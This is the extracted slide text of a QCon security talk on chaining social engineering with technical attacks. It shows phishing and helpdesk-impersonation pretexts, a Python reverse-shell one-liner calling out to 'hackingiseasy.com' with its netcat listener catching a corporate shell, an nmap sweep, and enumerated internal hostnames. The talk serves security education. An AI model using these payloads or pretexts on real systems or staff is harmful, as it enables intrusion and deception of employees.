Video and slides synchronized, mp3 and slide download available at URL http://bit.ly/29QmcbX. Christina Camilleri talks about how social engineering can be used in conjunction with technical attacks to create sophisticated and destructive attack chains, shares some real world war stories and highlights what can be done to protect against these threats. Filmed at qconnewyork.com. Christina Camilleri is a Security Analyst at Bishop Fox, a security consulting firm. Her primary areas of expertise are web application penetration testing, open source intelligence and social engineering. She has attended and presented at local and international conferences on social engineering and has won highest scoring OSINT report for two years in a row in the DEFCON Social Engineering CTF.

2. InfoQ.com: News & Community Site
• 750,000 unique visitors/month
• Published in 4 languages (English, Chinese, Japanese and Brazilian
Portuguese)
• Post content from our QCon conferences
• News 15-20 / week
• Articles 3-4 / week
• Presentations (videos) 12-15 / week
• Interviews 2-3 / week
• Books 1 / month
Watch the video with slide
synchronization on InfoQ.com!
https://www.infoq.com/presentations/
social-engineering-attack

3. Presented at QCon New York
www.qconnewyork.com
Purpose of QCon
- to empower software development by facilitating the spread of
knowledge and innovation
Strategy
- practitioner-driven conference designed for YOU: influencers of
change and innovation in your teams
- speakers and topics driving the evolution and innovation
- connecting and catalyzing the influencers and innovators
Highlights
- attended by more than 12,000 delegates since 2007
- held in 9 cities worldwide

12. What
are
you?

13. What
are
you?

14. I’m a
strong
independent
BEING

15. I have feelings
and emotions
and I can talk
to people and
I can relate to
people and I
have wants and
needs that
require
interactions
and I like
STUFF and
Things and I
like to feel
like I have
control over
computers

16. ...

17. I can
make
judgment
calls

18. What
are
you?

19. I
FOLLOW
INSTRUCTIONS
GOOD

20. I
HAVE
NO
EMOTION

21. I CAN’T
MAKE
JUDGMENT
CALLS

22. 01101101
01100101
01101111
01110111

27. I CAN’T
MAKE
JUDGMENT
CALLS
I can
make
judgment
calls

37. Hi
you need to
update your
healthcare
details
Now
plz

38. ???

45. Hi, I’m
Gwynne

46. Plz
download
this patch

47. ty

48. It’s Party time.

53. /bin/python -c "exec("import
socket,subprocess,osns=socket.socket(socket.AF_I
NET,socket.SOCK_STREAM)ns.connect(('hackingiseas
y.com',31337))nos.dup2(s.fileno(),0)nos.dup2(s
.fileno(),1)nos.dup2(s.fileno(),2)np=subproces
s.call(['/bin/sh','-i'])n")"

54. root@kali:~/test# nc -lvvvp 31337
listening on [any] 31337 ...
connect to [hackingiseasy.com] from
mq.uat.bigcorp.com [23.76.132.226] 50132
[u@h w]$

61. nmap -p- -T4 -Pn -vvv 10.1.109.0-254

63. A quick recap

64. A quick recap

72. Hi, I’m
Christina

73. I forgot my
password

74. I forgot my
password
oh and I
don’t have my
laptop

75. I forgot my
password
oh and I
don’t have my
laptop
because I’m
travelling

76. I forgot my
password
oh and I
don’t have my
laptop
because I’m
travelling
and I really
need access
to my
account

77. I forgot my
password
oh and I
don’t have my
laptop
because I’m
travelling
and I really
need access
to my
account
can you
plz help?

78. Ya sure

79. Visit this
website
To reset
your
password

93. I’m still
having issues
with my
password

94. I’m not
good at
phones plz
help

96. host6.vs.nyc.bigcorp.com
broadband2.bigcorp.com
prd-oracle.nyc.bigcorp.com
ra-app.nyc.bigcorp.com
ap-lan-gw.t.bigcorp.com
raweb3.t.bigcorp.com
qa.drupal.nyc.bigcorp.com
beta.d.bigcorp.com
pubdispatcher6.corp.nyc.bigcorp.com
bigcorpedge2-ilo.int.bigcorp.com
prod-ora-dlgdb.dev.nyc.bigcorp.com
community2.nyc.dev.bigcorp.com
f52.int.bigcorp.com
auth.dev.bigcorp.com
admin.dev.bigcorp.com
…

104. $db_url['default'] = 'mysql://XXX:YYY@localhost/ZZZ';
$db_prefix = '';

105. $db_url['default'] = 'mysql://XXX:YYY@localhost/ZZZ';
$db_prefix = '';

106. $db_url['default'] = 'mysql://XXX:YYY@localhost/ZZZ';
$db_prefix = '';

118. Watch the video with slide synchronization on
InfoQ.com!
https://www.infoq.com/presentations/social-
engineering-attack